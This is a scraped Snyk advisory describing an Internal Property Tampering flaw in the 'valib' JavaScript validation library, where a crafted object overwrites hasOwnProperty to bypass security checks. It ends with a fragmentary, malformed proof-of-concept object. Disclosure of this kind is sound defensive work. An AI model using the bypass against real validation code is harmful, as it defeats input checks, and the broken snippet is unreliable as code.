Snyk has a proof-of-concept or detailed explanation of how to exploit this vulnerability.
The probability is the direct output of the EPSS model, and conveys an overall sense of the threat of exploitation in the wild. The percentile measures the EPSS probability relative to all known EPSS scores. Note: This data is updated daily, relying on the latest available EPSS model version. Check out the EPSS documentation for more details.

Test your applicationsThere is no fixed version for valib
.
valib is an A standalone javascript library tailored for validation.
Affected versions of this package are vulnerable to Internal Property Tampering. A maliciously crafted JavaScript object can bypass several inspection functions provided by valib
. Valib
uses a built-in function (hasOwnProperty)
from the unsafe user-input to examine an object. It is possible for a crafted payload to overwrite this function to manipulate the inspection results to bypass security checks.

var valib = require('valib');
var json = {
key1: null,

},

key7: "Yes"
